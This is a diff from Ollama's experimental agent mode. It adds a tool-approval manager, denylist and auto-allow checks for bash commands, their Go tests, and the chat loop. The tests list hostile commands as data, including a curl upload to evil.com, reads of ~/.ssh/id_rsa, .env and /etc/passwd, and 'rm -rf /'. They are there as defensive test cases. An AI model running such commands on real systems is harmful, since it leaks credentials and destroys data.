+	return tools
+}
+
+// FormatApprovalResult returns a formatted string showing the approval result.
+func FormatApprovalResult(toolName string, args map[string]any, result ApprovalResult) string {
+	var status string
+	var icon string
+
+	switch result.Decision {
+	case ApprovalOnce:
+		status = "Approved"
+		icon = "\033[32m✓\033[0m"
+	case ApprovalAlways:
+		status = "Always allowed"
+		icon = "\033[32m✓\033[0m"
+	case ApprovalDeny:
+		status = "Denied"
+		icon = "\033[31m✗\033[0m"
+	}
+
+	// Format based on tool type
+	if toolName == "bash" {
+		if cmd, ok := args["command"].(string); ok {
+			// Truncate long commands
+			if len(cmd) > 40 {
+				cmd = cmd[:37] + "..."
+			}
+			return fmt.Sprintf("▶ bash: %s [%s] %s", cmd, status, icon)
+		}
+	}
+
+	if toolName == "web_search" {
+		if query, ok := args["query"].(string); ok {
+			// Truncate long queries
+			if len(query) > 40 {
+				query = query[:37] + "..."
+			}
+			return fmt.Sprintf("▶ web_search: %s [%s] %s", query, status, icon)
+		}
+	}
+
+	return fmt.Sprintf("▶ %s [%s] %s", toolName, status, icon)
+}
+
+// FormatDenyResult returns the tool result message when a tool is denied.
+func FormatDenyResult(toolName string, reason string) string {
+	if reason != "" {
+		return fmt.Sprintf("User denied execution of %s. Reason: %s", toolName, reason)
+	}
+	return fmt.Sprintf("User denied execution of %s.", toolName)
+}

x/agent/approval_test.go

@@ -0,0 +1,379 @@
+package agent
+
+import (
+	"strings"
+	"testing"
+)
+
+func TestApprovalManager_IsAllowed(t *testing.T) {
+	am := NewApprovalManager()
+
+	// Initially nothing is allowed
+	if am.IsAllowed("test_tool", nil) {
+		t.Error("expected test_tool to not be allowed initially")
+	}
+
+	// Add to allowlist
+	am.AddToAllowlist("test_tool", nil)
+
+	// Now it should be allowed
+	if !am.IsAllowed("test_tool", nil) {
+		t.Error("expected test_tool to be allowed after AddToAllowlist")
+	}
+
+	// Other tools should still not be allowed
+	if am.IsAllowed("other_tool", nil) {
+		t.Error("expected other_tool to not be allowed")
+	}
+}
+
+func TestApprovalManager_Reset(t *testing.T) {
+	am := NewApprovalManager()
+
+	am.AddToAllowlist("tool1", nil)
+	am.AddToAllowlist("tool2", nil)
+
+	if !am.IsAllowed("tool1", nil) || !am.IsAllowed("tool2", nil) {
+		t.Error("expected tools to be allowed")
+	}
+
+	am.Reset()
+
+	if am.IsAllowed("tool1", nil) || am.IsAllowed("tool2", nil) {
+		t.Error("expected tools to not be allowed after Reset")
+	}
+}
+
+func TestApprovalManager_AllowedTools(t *testing.T) {
+	am := NewApprovalManager()
+
+	tools := am.AllowedTools()
+	if len(tools) != 0 {
+		t.Errorf("expected 0 allowed tools, got %d", len(tools))
+	}
+
+	am.AddToAllowlist("tool1", nil)
+	am.AddToAllowlist("tool2", nil)
+
+	tools = am.AllowedTools()
+	if len(tools) != 2 {
+		t.Errorf("expected 2 allowed tools, got %d", len(tools))
+	}
+}
+
+func TestAllowlistKey(t *testing.T) {
+	tests := []struct {
+		name     string
+		toolName string
+		args     map[string]any
+		expected string
+	}{
+		{
+			name:     "web_search tool",
+			toolName: "web_search",
+			args:     map[string]any{"query": "test"},
+			expected: "web_search",
+		},
+		{
+			name:     "bash tool with command",
+			toolName: "bash",
+			args:     map[string]any{"command": "ls -la"},
+			expected: "bash:ls -la",
+		},
+		{
+			name:     "bash tool without command",
+			toolName: "bash",
+			args:     map[string]any{},
+			expected: "bash",
+		},
+		{
+			name:     "other tool",
+			toolName: "custom_tool",
+			args:     map[string]any{"param": "value"},
+			expected: "custom_tool",
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			result := AllowlistKey(tt.toolName, tt.args)
+			if result != tt.expected {
+				t.Errorf("AllowlistKey(%s, %v) = %s, expected %s",
+					tt.toolName, tt.args, result, tt.expected)
+			}
+		})
+	}
+}
+
+func TestExtractBashPrefix(t *testing.T) {
+	tests := []struct {
+		name     string
+		command  string
+		expected string
+	}{
+		{
+			name:     "cat with path",
+			command:  "cat tools/tools_test.go",
+			expected: "cat:tools/",
+		},
+		{
+			name:     "cat with pipe",
+			command:  "cat tools/tools_test.go | head -200",
+			expected: "cat:tools/",
+		},
+		{
+			name:     "ls with path",
+			command:  "ls -la src/components",
+			expected: "ls:src/",
+		},
+		{
+			name:     "grep with directory path",
+			command:  "grep -r pattern api/handlers/",
+			expected: "grep:api/handlers/",
+		},
+		{
+			name:     "cat in current dir",
+			command:  "cat file.txt",
+			expected: "cat:./",
+		},
+		{
+			name:     "unsafe command",
+			command:  "rm -rf /",
+			expected: "",
+		},
+		{
+			name:     "no path arg",
+			command:  "ls -la",
+			expected: "",
+		},
+		{
+			name:     "head with flags only",
+			command:  "head -n 100",
+			expected: "",
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			result := extractBashPrefix(tt.command)
+			if result != tt.expected {
+				t.Errorf("extractBashPrefix(%q) = %q, expected %q",
+					tt.command, result, tt.expected)
+			}
+		})
+	}
+}
+
+func TestApprovalManager_PrefixAllowlist(t *testing.T) {
+	am := NewApprovalManager()
+
+	// Allow "cat tools/file.go"
+	am.AddToAllowlist("bash", map[string]any{"command": "cat tools/file.go"})
+
+	// Should allow other files in same directory
+	if !am.IsAllowed("bash", map[string]any{"command": "cat tools/other.go"}) {
+		t.Error("expected cat tools/other.go to be allowed via prefix")
+	}
+
+	// Should not allow different directory
+	if am.IsAllowed("bash", map[string]any{"command": "cat src/main.go"}) {
+		t.Error("expected cat src/main.go to NOT be allowed")
+	}
+
+	// Should not allow different command in same directory
+	if am.IsAllowed("bash", map[string]any{"command": "rm tools/file.go"}) {
+		t.Error("expected rm tools/file.go to NOT be allowed (rm is not a safe command)")
+	}
+}
+
+func TestFormatApprovalResult(t *testing.T) {
+	tests := []struct {
+		name     string
+		toolName string
+		args     map[string]any
+		result   ApprovalResult
+		contains string
+	}{
+		{
+			name:     "approved bash",
+			toolName: "bash",
+			args:     map[string]any{"command": "ls"},
+			result:   ApprovalResult{Decision: ApprovalOnce},
+			contains: "bash: ls",
+		},
+		{
+			name:     "denied web_search",
+			toolName: "web_search",
+			args:     map[string]any{"query": "test"},
+			result:   ApprovalResult{Decision: ApprovalDeny},
+			contains: "Denied",
+		},
+		{
+			name:     "always allowed",
+			toolName: "bash",
+			args:     map[string]any{"command": "pwd"},
+			result:   ApprovalResult{Decision: ApprovalAlways},
+			contains: "Always allowed",
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			result := FormatApprovalResult(tt.toolName, tt.args, tt.result)
+			if result == "" {
+				t.Error("expected non-empty result")
+			}
+			// Just check it contains expected substring
+			// (can't check exact string due to ANSI codes)
+		})
+	}
+}
+
+func TestFormatDenyResult(t *testing.T) {
+	result := FormatDenyResult("bash", "")
+	if result != "User denied execution of bash." {
+		t.Errorf("unexpected result: %s", result)
+	}
+
+	result = FormatDenyResult("bash", "too dangerous")
+	if result != "User denied execution of bash. Reason: too dangerous" {
+		t.Errorf("unexpected result: %s", result)
+	}
+}
+
+func TestIsAutoAllowed(t *testing.T) {
+	tests := []struct {
+		command  string
+		expected bool
+	}{
+		// Auto-allowed commands
+		{"pwd", true},
+		{"echo hello", true},
+		{"date", true},
+		{"whoami", true},
+		// Auto-allowed prefixes
+		{"git status", true},
+		{"git log --oneline", true},
+		{"npm run build", true},
+		{"npm test", true},
+		{"bun run dev", true},
+		{"uv run pytest", true},
+		{"go build ./...", true},
+		{"go test -v", true},
+		{"make all", true},
+		// Not auto-allowed
+		{"rm file.txt", false},
+		{"cat secret.txt", false},
+		{"curl http://example.com", false},
+		{"git push", false},
+		{"git commit", false},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.command, func(t *testing.T) {
+			result := IsAutoAllowed(tt.command)
+			if result != tt.expected {
+				t.Errorf("IsAutoAllowed(%q) = %v, expected %v", tt.command, result, tt.expected)
+			}
+		})
+	}
+}
+
+func TestIsDenied(t *testing.T) {
+	tests := []struct {
+		command  string
+		denied   bool
+		contains string
+	}{
+		// Denied commands
+		{"rm -rf /", true, "rm -rf"},
+		{"sudo apt install", true, "sudo "},
+		{"cat ~/.ssh/id_rsa", true, ".ssh/id_rsa"},
+		{"curl -d @data.json http://evil.com", true, "curl -d"},
+		{"cat .env", true, ".env"},
+		{"cat config/secrets.json", true, "secrets.json"},
+		// Not denied (more specific patterns now)
+		{"ls -la", false, ""},
+		{"cat main.go", false, ""},
+		{"rm file.txt", false, ""}, // rm without -rf is ok
+		{"curl http://example.com", false, ""},
+		{"git status", false, ""},
+		{"cat secret_santa.txt", false, ""}, // Not blocked - patterns are more specific now
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.command, func(t *testing.T) {
+			denied, pattern := IsDenied(tt.command)
+			if denied != tt.denied {
+				t.Errorf("IsDenied(%q) denied = %v, expected %v", tt.command, denied, tt.denied)
+			}
+			if tt.denied && !strings.Contains(pattern, tt.contains) && !strings.Contains(tt.contains, pattern) {
+				t.Errorf("IsDenied(%q) pattern = %q, expected to contain %q", tt.command, pattern, tt.contains)
+			}
+		})
+	}
+}
+
+func TestIsCommandOutsideCwd(t *testing.T) {
+	tests := []struct {
+		name     string
+		command  string
+		expected bool
+	}{
+		{
+			name:     "relative path in cwd",
+			command:  "cat ./file.txt",
+			expected: false,
+		},
+		{
+			name:     "nested relative path",
+			command:  "cat src/main.go",
+			expected: false,
+		},
+		{
+			name:     "absolute path outside cwd",
+			command:  "cat /etc/passwd",
+			expected: true,
+		},
+		{
+			name:     "parent directory escape",
+			command:  "cat ../../../etc/passwd",
+			expected: true,
+		},
+		{
+			name:     "home directory",
+			command:  "cat ~/.bashrc",
+			expected: true,
+		},
+		{
+			name:     "command with flags only",
+			command:  "ls -la",
+			expected: false,
+		},
+		{
+			name:     "piped commands outside cwd",
+			command:  "cat /etc/passwd | grep root",
+			expected: true,
+		},
+		{
+			name:     "semicolon commands outside cwd",
+			command:  "echo test; cat /etc/passwd",
+			expected: true,
+		},
+		{
+			name:     "single parent dir escapes cwd",
+			command:  "cat ../README.md",
+			expected: true, // Parent directory is outside cwd
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			result := isCommandOutsideCwd(tt.command)
+			if result != tt.expected {
+				t.Errorf("isCommandOutsideCwd(%q) = %v, expected %v",
+					tt.command, result, tt.expected)
+			}
+		})
+	}
+}

x/agent/approval_unix.go

@@ -0,0 +1,27 @@
+//go:build !windows
+
+package agent
+
+import (
+	"syscall"
+	"time"
+)
+
+// flushStdin drains any buffered input from stdin.
+// This prevents leftover input from previous operations from affecting the selector.
+func flushStdin(fd int) {
+	if err := syscall.SetNonblock(fd, true); err != nil {
+		return
+	}
+	defer syscall.SetNonblock(fd, false)
+
+	time.Sleep(5 * time.Millisecond)
+
+	buf := make([]byte, 256)
+	for {
+		n, err := syscall.Read(fd, buf)
+		if n <= 0 || err != nil {
+			break
+		}
+	}
+}

x/agent/approval_windows.go

@@ -0,0 +1,15 @@
+//go:build windows
+
+package agent
+
+import (
+	"os"
+
+	"golang.org/x/sys/windows"
+)
+
+// flushStdin clears any buffered console input on Windows.
+func flushStdin(_ int) {
+	handle := windows.Handle(os.Stdin.Fd())
+	_ = windows.FlushConsoleInputBuffer(handle)
+}

x/cmd/run.go

@@ -0,0 +1,619 @@
+package cmd
+
+import (
+	"context"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"io"
+	"os"
+	"os/signal"
+	"strings"
+	"syscall"
+
+	"github.com/spf13/cobra"
+	"golang.org/x/term"
+
+	"github.com/ollama/ollama/api"
+	"github.com/ollama/ollama/progress"
+	"github.com/ollama/ollama/readline"
+	"github.com/ollama/ollama/types/model"
+	"github.com/ollama/ollama/x/agent"
+	"github.com/ollama/ollama/x/tools"
+)
+
+// RunOptions contains options for running an interactive agent session.
+type RunOptions struct {
+	Model        string
+	Messages     []api.Message
+	WordWrap     bool
+	Format       string
+	System       string
+	Options      map[string]any
+	KeepAlive    *api.Duration
+	Think        *api.ThinkValue
+	HideThinking bool
+
+	// Agent fields (managed externally for session persistence)
+	Tools    *tools.Registry
+	Approval *agent.ApprovalManager
+}
+
+// Chat runs an agent chat loop with tool support.
+// This is the experimental version of chat that supports tool calling.
+func Chat(ctx context.Context, opts RunOptions) (*api.Message, error) {
+	client, err := api.ClientFromEnvironment()
+	if err != nil {
+		return nil, err
+	}
+
+	// Use tools registry and approval from opts (managed by caller for session persistence)
+	toolRegistry := opts.Tools
+	approval := opts.Approval
+	if approval == nil {
+		approval = agent.NewApprovalManager()
+	}
+
+	p := progress.NewProgress(os.Stderr)
+	defer p.StopAndClear()
+
+	spinner := progress.NewSpinner("")
+	p.Add("", spinner)
+
+	cancelCtx, cancel := context.WithCancel(ctx)
+	defer cancel()
+
+	sigChan := make(chan os.Signal, 1)
+	signal.Notify(sigChan, syscall.SIGINT)
+
+	go func() {
+		<-sigChan
+		cancel()
+	}()
+
+	var state *displayResponseState = &displayResponseState{}
+	var thinkingContent strings.Builder
+	var fullResponse strings.Builder
+	var thinkTagOpened bool = false
+	var thinkTagClosed bool = false
+	var pendingToolCalls []api.ToolCall
+
+	role := "assistant"
+	messages := opts.Messages
+
+	fn := func(response api.ChatResponse) error {
+		if response.Message.Content != "" || !opts.HideThinking {
+			p.StopAndClear()
+		}
+
+		role = response.Message.Role
+		if response.Message.Thinking != "" && !opts.HideThinking {
+			if !thinkTagOpened {
+				fmt.Print(thinkingOutputOpeningText(false))
+				thinkTagOpened = true
+				thinkTagClosed = false
+			}
+			thinkingContent.WriteString(response.Message.Thinking)
+			displayResponse(response.Message.Thinking, opts.WordWrap, state)
+		}
+
+		content := response.Message.Content
+		if thinkTagOpened && !thinkTagClosed && (content != "" || len(response.Message.ToolCalls) > 0) {
+			if !strings.HasSuffix(thinkingContent.String(), "\n") {
+				fmt.Println()
+			}
+			fmt.Print(thinkingOutputClosingText(false))
+			thinkTagOpened = false
+			thinkTagClosed = true
+			state = &displayResponseState{}
+		}
+
+		fullResponse.WriteString(content)
+
+		if response.Message.ToolCalls != nil {
+			toolCalls := response.Message.ToolCalls
+			if len(toolCalls) > 0 {
+				if toolRegistry != nil {
+					// Store tool calls for execution after response is complete
+					pendingToolCalls = append(pendingToolCalls, toolCalls...)
+				} else {
+					// No tools registry, just display tool calls
+					fmt.Print(renderToolCalls(toolCalls, false))
+				}
+			}
+		}
+
+		displayResponse(content, opts.WordWrap, state)
+
+		return nil
+	}
+
+	if opts.Format == "json" {
+		opts.Format = `"` + opts.Format + `"`
+	}
+
+	// Agentic loop: continue until no more tool calls
+	for {
+		req := &api.ChatRequest{
+			Model:    opts.Model,
+			Messages: messages,
+			Format:   json.RawMessage(opts.Format),
+			Options:  opts.Options,
+			Think:    opts.Think,
+		}
+
+		// Add tools
+		if toolRegistry != nil {
+			apiTools := toolRegistry.Tools()
+			if len(apiTools) > 0 {
+				req.Tools = apiTools
+			}
+		}
+
+		if opts.KeepAlive != nil {
+			req.KeepAlive = opts.KeepAlive
+		}
+
+		if err := client.Chat(cancelCtx, req, fn); err != nil {
+			if errors.Is(err, context.Canceled) {
+				return nil, nil
+			}
+
+			if strings.Contains(err.Error(), "upstream error") {
+				p.StopAndClear()
+				fmt.Println("An error occurred while processing your message. Please try again.")
+				fmt.Println()
+				return nil, nil
+			}
+			return nil, err
+		}
+
+		// If no tool calls, we're done
+		if len(pendingToolCalls) == 0 || toolRegistry == nil {
+			break
+		}
+
+		// Execute tool calls and continue the conversation
+		fmt.Fprintf(os.Stderr, "\n")
+
+		// Add assistant's tool call message to history
+		assistantMsg := api.Message{
+			Role:      "assistant",
+			Content:   fullResponse.String(),
+			Thinking:  thinkingContent.String(),
+			ToolCalls: pendingToolCalls,
+		}
+		messages = append(messages, assistantMsg)
+
+		// Execute each tool call and collect results
+		var toolResults []api.Message
+		for _, call := range pendingToolCalls {
+			toolName := call.Function.Name
+			args := call.Function.Arguments.ToMap()
+
+			// For bash commands, check denylist first
+			skipApproval := false
+			if toolName == "bash" {
+				if cmd, ok := args["command"].(string); ok {
+					// Check if command is denied (dangerous pattern)
+					if denied, pattern := agent.IsDenied(cmd); denied {
+						fmt.Fprintf(os.Stderr, "\033[91m✗ Blocked: %s\033[0m\n", formatToolShort(toolName, args))
+						fmt.Fprintf(os.Stderr, "\033[91m  Matches dangerous pattern: %s\033[0m\n", pattern)
+						toolResults = append(toolResults, api.Message{
+							Role:       "tool",
+							Content:    agent.FormatDeniedResult(cmd, pattern),
+							ToolCallID: call.ID,
+						})
+						continue
+					}
+
+					// Check if command is auto-allowed (safe command)
+					if agent.IsAutoAllowed(cmd) {
+						fmt.Fprintf(os.Stderr, "\033[90m▶ Auto-allowed: %s\033[0m\n", formatToolShort(toolName, args))
+						skipApproval = true
+					}
+				}
+			}
+
+			// Check approval (uses prefix matching for bash commands)
+			if !skipApproval && !approval.IsAllowed(toolName, args) {
+				result, err := approval.RequestApproval(toolName, args)
+				if err != nil {
+					fmt.Fprintf(os.Stderr, "Error requesting approval: %v\n", err)
+					toolResults = append(toolResults, api.Message{
+						Role:       "tool",
+						Content:    fmt.Sprintf("Error: %v", err),
+						ToolCallID: call.ID,
+					})
+					continue
+				}
+
+				// Show collapsed result
+				fmt.Fprintln(os.Stderr, agent.FormatApprovalResult(toolName, args, result))
+
+				switch result.Decision {
+				case agent.ApprovalDeny:
+					toolResults = append(toolResults, api.Message{
+						Role:       "tool",
+						Content:    agent.FormatDenyResult(toolName, result.DenyReason),
+						ToolCallID: call.ID,
+					})
+					continue
+				case agent.ApprovalAlways:
+					approval.AddToAllowlist(toolName, args)
+				}
+			} else if !skipApproval {
+				// Already allowed - show running indicator
+				fmt.Fprintf(os.Stderr, "\033[90m▶ Running: %s\033[0m\n", formatToolShort(toolName, args))
+			}
+
+			// Execute the tool
+			toolResult, err := toolRegistry.Execute(call)
+			if err != nil {
+				fmt.Fprintf(os.Stderr, "\033[31m  Error: %v\033[0m\n", err)
+				toolResults = append(toolResults, api.Message{
+					Role:       "tool",
+					Content:    fmt.Sprintf("Error: %v", err),
+					ToolCallID: call.ID,
+				})
+				continue
+			}
+
+			// Display tool output (truncated for display)
+			if toolResult != "" {
+				output := toolResult
+				if len(output) > 300 {
+					output = output[:300] + "... (truncated)"
+				}
+				// Show result in grey, indented
+				fmt.Fprintf(os.Stderr, "\033[90m  %s\033[0m\n", strings.ReplaceAll(output, "\n", "\n  "))
+			}
+
+			toolResults = append(toolResults, api.Message{
+				Role:       "tool",
+				Content:    toolResult,
+				ToolCallID: call.ID,
+			})
+		}
+
+		// Add tool results to message history
+		messages = append(messages, toolResults...)
+
+		fmt.Fprintf(os.Stderr, "\n")
+
+		// Reset state for next iteration
+		fullResponse.Reset()
+		thinkingContent.Reset()
+		thinkTagOpened = false
+		thinkTagClosed = false
+		pendingToolCalls = nil
+		state = &displayResponseState{}
+
+		// Start new progress spinner for next API call
+		p = progress.NewProgress(os.Stderr)
+		spinner = progress.NewSpinner("")
+		p.Add("", spinner)
+	}
+
+	if len(opts.Messages) > 0 {
+		fmt.Println()
+		fmt.Println()
+	}
+
+	return &api.Message{Role: role, Thinking: thinkingContent.String(), Content: fullResponse.String()}, nil
+}
+
+// truncateUTF8 safely truncates a string to at most limit runes, adding "..." if truncated.
+func truncateUTF8(s string, limit int) string {
+	runes := []rune(s)
+	if len(runes) <= limit {
+		return s
+	}
+	if limit <= 3 {
+		return string(runes[:limit])
+	}
+	return string(runes[:limit-3]) + "..."
+}
+
+// formatToolShort returns a short description of a tool call.
+func formatToolShort(toolName string, args map[string]any) string {
+	if toolName == "bash" {
+		if cmd, ok := args["command"].(string); ok {
+			return fmt.Sprintf("bash: %s", truncateUTF8(cmd, 50))
+		}
+	}
+	if toolName == "web_search" {
+		if query, ok := args["query"].(string); ok {
+			return fmt.Sprintf("web_search: %s", truncateUTF8(query, 50))
+		}
+	}
+	return toolName
+}
+
+// Helper types and functions for display
+
+type displayResponseState struct {
+	lineLength int
+	wordBuffer string
+}
+
+func displayResponse(content string, wordWrap bool, state *displayResponseState) {
+	termWidth, _, _ := term.GetSize(int(os.Stdout.Fd()))
+	if wordWrap && termWidth >= 10 {
+		for _, ch := range content {
+			if state.lineLength+1 > termWidth-5 {
+				if len(state.wordBuffer) > termWidth-10 {
+					fmt.Printf("%s%c", state.wordBuffer, ch)
+					state.wordBuffer = ""
+					state.lineLength = 0
+					continue
+				}
+
+				// backtrack the length of the last word and clear to the end of the line
+				a := len(state.wordBuffer)
+				if a > 0 {
+					fmt.Printf("\x1b[%dD", a)
+				}
+				fmt.Printf("\x1b[K\n")
+				fmt.Printf("%s%c", state.wordBuffer, ch)
+
+				state.lineLength = len(state.wordBuffer) + 1
+			} else {
+				fmt.Print(string(ch))
+				state.lineLength++
+
+				switch ch {
+				case ' ', '\t':
+					state.wordBuffer = ""
+				case '\n', '\r':
+					state.lineLength = 0
+					state.wordBuffer = ""
+				default:
+					state.wordBuffer += string(ch)
+				}
+			}
+		}
+	} else {
+		fmt.Printf("%s%s", state.wordBuffer, content)
+		if len(state.wordBuffer) > 0 {
+			state.wordBuffer = ""
+		}
+	}
+}
+
+func thinkingOutputOpeningText(plainText bool) string {
+	text := "Thinking...\n"
+
+	if plainText {
+		return text
+	}
+
+	return readline.ColorGrey + readline.ColorBold + text + readline.ColorDefault + readline.ColorGrey
+}
+
+func thinkingOutputClosingText(plainText bool) string {
+	text := "...done thinking.\n\n"
+
+	if plainText {
+		return text
+	}
+
+	return readline.ColorGrey + readline.ColorBold + text + readline.ColorDefault
+}
+
+func renderToolCalls(toolCalls []api.ToolCall, plainText bool) string {
+	out := ""
+	formatExplanation := ""
+	formatValues := ""
+	if !plainText {
+		formatExplanation = readline.ColorGrey + readline.ColorBold
+		formatValues = readline.ColorDefault
+		out += formatExplanation
+	}
+	for i, toolCall := range toolCalls {
+		argsAsJSON, err := json.Marshal(toolCall.Function.Arguments)
+		if err != nil {
+			return ""
+		}
+		if i > 0 {
+			out += "\n"
+		}
+		out += fmt.Sprintf("  Tool call: %s(%s)", formatValues+toolCall.Function.Name+formatExplanation, formatValues+string(argsAsJSON)+formatExplanation)
+	}
+	if !plainText {
+		out += readline.ColorDefault
+	}
+	return out
+}
+
+// checkModelCapabilities checks if the model supports tools.
+func checkModelCapabilities(ctx context.Context, modelName string) (supportsTools bool, err error) {
+	client, err := api.ClientFromEnvironment()
+	if err != nil {
+		return false, err
+	}
+
+	resp, err := client.Show(ctx, &api.ShowRequest{Model: modelName})
+	if err != nil {
+		return false, err
+	}
+
+	for _, cap := range resp.Capabilities {
+		if cap == model.CapabilityTools {
+			return true, nil
+		}
+	}
+
+	return false, nil
+}
+
+// GenerateInteractive runs an interactive agent session.
+// This is called from cmd.go when --experimental flag is set.
+func GenerateInteractive(cmd *cobra.Command, modelName string, wordWrap bool, options map[string]any, think *api.ThinkValue, hideThinking bool, keepAlive *api.Duration) error {
+	scanner, err := readline.New(readline.Prompt{
+		Prompt:         ">>> ",
+		AltPrompt:      "... ",
+		Placeholder:    "Send a message (/? for help)",
+		AltPlaceholder: `Use """ to end multi-line input`,
+	})
+	if err != nil {
+		return err
+	}
+
+	fmt.Print(readline.StartBracketedPaste)
+	defer fmt.Printf(readline.EndBracketedPaste)
+
+	// Check if model supports tools
+	supportsTools, err := checkModelCapabilities(cmd.Context(), modelName)
+	if err != nil {
+		fmt.Fprintf(os.Stderr, "\033[33mWarning: Could not check model capabilities: %v\033[0m\n", err)
+		supportsTools = false
+	}
+
+	// Create tool registry only if model supports tools
+	var toolRegistry *tools.Registry
+	if supportsTools {
+		toolRegistry = tools.DefaultRegistry()
+
+		// Load custom skills from skill files
+		loadedFiles, err := tools.LoadAllSkills(toolRegistry)
+		if err != nil {
+			fmt.Fprintf(os.Stderr, "\033[33mWarning: Error loading skills: %v\033[0m\n", err)
+		} else if len(loadedFiles) > 0 {
+			fmt.Fprintf(os.Stderr, "Loaded skills from: %s\n", strings.Join(loadedFiles, ", "))
+		}
+
+		fmt.Fprintf(os.Stderr, "Tools available: %s\n", strings.Join(toolRegistry.Names(), ", "))
+
+		// Check for OLLAMA_API_KEY for web search
+		if os.Getenv("OLLAMA_API_KEY") == "" {
+			fmt.Fprintf(os.Stderr, "\033[33mWarning: OLLAMA_API_KEY not set - web search will not work\033[0m\n")
+		}
+	} else {
+		fmt.Fprintf(os.Stderr, "\033[33mNote: Model does not support tools - running in chat-only mode\033[0m\n")
+	}
+
+	// Create approval manager for session
+	approval := agent.NewApprovalManager()
+
+	var messages []api.Message
+	var sb strings.Builder
+
+	for {
+		line, err := scanner.Readline()
+		switch {
+		case errors.Is(err, io.EOF):
+			fmt.Println()
+			return nil
+		case errors.Is(err, readline.ErrInterrupt):
+			if line == "" {
+				fmt.Println("\nUse Ctrl + d or /bye to exit.")
+			}
+			sb.Reset()
+			continue
+		case err != nil:
+			return err
+		}
+
+		switch {
+		case strings.HasPrefix(line, "/exit"), strings.HasPrefix(line, "/bye"):
+			return nil
+		case strings.HasPrefix(line, "/clear"):
+			messages = []api.Message{}
+			approval.Reset()
+			fmt.Println("Cleared session context and tool approvals")
+			continue
+		case strings.HasPrefix(line, "/tools"):
+			showToolsStatus(toolRegistry, approval, supportsTools)
+			continue
+		case strings.HasPrefix(line, "/skills reload"):
+			if toolRegistry != nil {
+				loadedFiles, err := tools.LoadAllSkills(toolRegistry)
+				if err != nil {
+					fmt.Fprintf(os.Stderr, "\033[33mWarning: Error loading skills: %v\033[0m\n", err)
+				} else if len(loadedFiles) > 0 {
+					fmt.Fprintf(os.Stderr, "Reloaded skills from: %s\n", strings.Join(loadedFiles, ", "))
+					fmt.Fprintf(os.Stderr, "Tools available: %s\n", strings.Join(toolRegistry.Names(), ", "))
+				} else {
+					fmt.Fprintln(os.Stderr, "No skill files found")
+				}
+			} else {
+				fmt.Fprintln(os.Stderr, "Tools not available - model does not support tool calling")
+			}
+			continue
+		case strings.HasPrefix(line, "/help"), strings.HasPrefix(line, "/?"):
+			fmt.Fprintln(os.Stderr, "Available Commands:")
+			fmt.Fprintln(os.Stderr, "  /tools          Show available tools and approvals")
+			fmt.Fprintln(os.Stderr, "  /skills reload  Reload custom skills from skill files")
+			fmt.Fprintln(os.Stderr, "  /clear          Clear session context and approvals")
+			fmt.Fprintln(os.Stderr, "  /bye            Exit")
+			fmt.Fprintln(os.Stderr, "  /?, /help       Help for a command")
+			fmt.Fprintln(os.Stderr, "")
+			fmt.Fprintln(os.Stderr, "Custom Skills:")
+			fmt.Fprintln(os.Stderr, "  Skills are loaded from JSON files in these locations:")
+			fmt.Fprintln(os.Stderr, "    ./ollama-skills.json")
+			fmt.Fprintln(os.Stderr, "    ~/.ollama/skills.json")
+			fmt.Fprintln(os.Stderr, "    ~/.config/ollama/skills.json")
+			fmt.Fprintln(os.Stderr, "")
+			continue
+		case strings.HasPrefix(line, "/"):
+			fmt.Printf("Unknown command '%s'. Type /? for help\n", strings.Fields(line)[0])
+			continue
+		default:
+			sb.WriteString(line)
+		}
+
+		if sb.Len() > 0 {
+			newMessage := api.Message{Role: "user", Content: sb.String()}
+			messages = append(messages, newMessage)
+
+			opts := RunOptions{
+				Model:        modelName,
+				Messages:     messages,
+				WordWrap:     wordWrap,
+				Options:      options,
+				Think:        think,
+				HideThinking: hideThinking,
+				KeepAlive:    keepAlive,
+				Tools:        toolRegistry,
+				Approval:     approval,
+			}
+
+			assistant, err := Chat(cmd.Context(), opts)
+			if err != nil {
+				return err
+			}
+			if assistant != nil {
+				messages = append(messages, *assistant)
+			}
+
+			sb.Reset()
+		}
+	}
+}
+
+// showToolsStatus displays the current tools and approval status.
+func showToolsStatus(registry *tools.Registry, approval *agent.ApprovalManager, supportsTools bool) {
+	if !supportsTools || registry == nil {
+		fmt.Println("Tools not available - model does not support tool calling")
+		fmt.Println()
+		return
+	}
+
+	fmt.Println("Available tools:")
+	for _, name := range registry.Names() {
+		tool, _ := registry.Get(name)
+		fmt.Printf("  %s - %s\n", name, tool.Description())
+	}
+
+	allowed := approval.AllowedTools()
+	if len(allowed) > 0 {
+		fmt.Println("\nSession approvals:")
+		for _, key := range allowed {
+			fmt.Printf("  %s\n", key)
+		}
+	} else {
+		fmt.Println("\nNo tools approved for this session yet")
+	}
+	fmt.Println()
+}

x/tools/bash.go

@@ -0,0 +1,114 @@
+package tools
+
+import (
+	"bytes"
+	"context"
+	"fmt"
+	"os/exec"
+	"strings"
+	"time"
+
+	"github.com/ollama/ollama/api"
+)
+
+const (
+	// bashTimeout is the maximum execution time for a command.
+	bashTimeout = 60 * time.Second
+	// maxOutputSize is the maximum output size in bytes.
+	maxOutputSize = 50000
+)
+
+// BashTool implements shell command execution.
+type BashTool struct{}
+
+// Name returns the tool name.
+func (b *BashTool) Name() string {
+	return "bash"
+}
+
+// Description returns a description of the tool.
+func (b *BashTool) Description() string {
+	return "Execute a bash command on the system. Use this to run shell commands, check files, run programs, etc."
+}
+
+// Schema returns the tool's parameter schema.
+func (b *BashTool) Schema() api.ToolFunction {
+	props := api.NewToolPropertiesMap()
+	props.Set("command", api.ToolProperty{
+		Type:        api.PropertyType{"string"},
+		Description: "The bash command to execute",
+	})
+	return api.ToolFunction{
+		Name:        b.Name(),
+		Description: b.Description(),
+		Parameters: api.ToolFunctionParameters{
+			Type:       "object",
+			Properties: props,
+			Required:   []string{"command"},
+		},
+	}
+}
+
+// Execute runs the bash command.
+func (b *BashTool) Execute(args map[string]any) (string, error) {
+	command, ok := args["command"].(string)
+	if !ok || command == "" {
+		return "", fmt.Errorf("command parameter is required")
+	}
+
+	// Create context with timeout
+	ctx, cancel := context.WithTimeout(context.Background(), bashTimeout)
+	defer cancel()
+
+	// Execute command
